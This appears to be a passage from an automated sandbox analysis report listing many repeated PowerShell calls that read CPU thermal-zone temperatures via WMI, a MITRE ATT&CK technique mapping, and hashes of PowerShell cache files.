  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4068
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5496
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5020

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:4348

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Credential Access

Discovery

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 376018e6acff14b5a76b2d14c837ab6ab5eaa0fdb0e2ff1b0a1f0743848bc372
MD5 a9844034d2468072e216ac643a44678a
SHA1 195da9249eeb27cbdb78df3696b61853dcacd99d
SHA512 fe7a4898898ad0444b6b2a6d10115cace3b01ee4dd3de257066a54d89502fd896ad79c4052ab0f04a363eb176f8efbfb967f41c255255c8f64fdeaf86b1c63ca
SSDEEP 1536:1KLg07Yo2hkovpfKQVAflJdpHYWh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hkovpfKQVAflJd9YWqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0050c68bcff6003eb1cff3c24165fcb4478e0abf71505a53ada1448974a23c21
MD5 8d7585470c69ed740965b3d78c02097f
SHA1 c6bfc2f65ac2c056f960cc05e617e9de5caa6aeb
SHA512 9cc062ab7bd1a395d41ef1f86d9ada0fd172c5d39a3911d4cc58827a6782ea27b77f696f26c9bef41ce23b853e689cbcf5bee389d96462ca9588d823c4e993f6
SSDEEP 1536:BKLg0xYo2hkovpfKQVAflJdpHYWh4iUx9R40i71Yi+MQyPRMrxpi3j39MVvjwa5E:BKLg0xYo2hkovpfKQVAflJd9YWqiU9RY
TLSH
T155636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download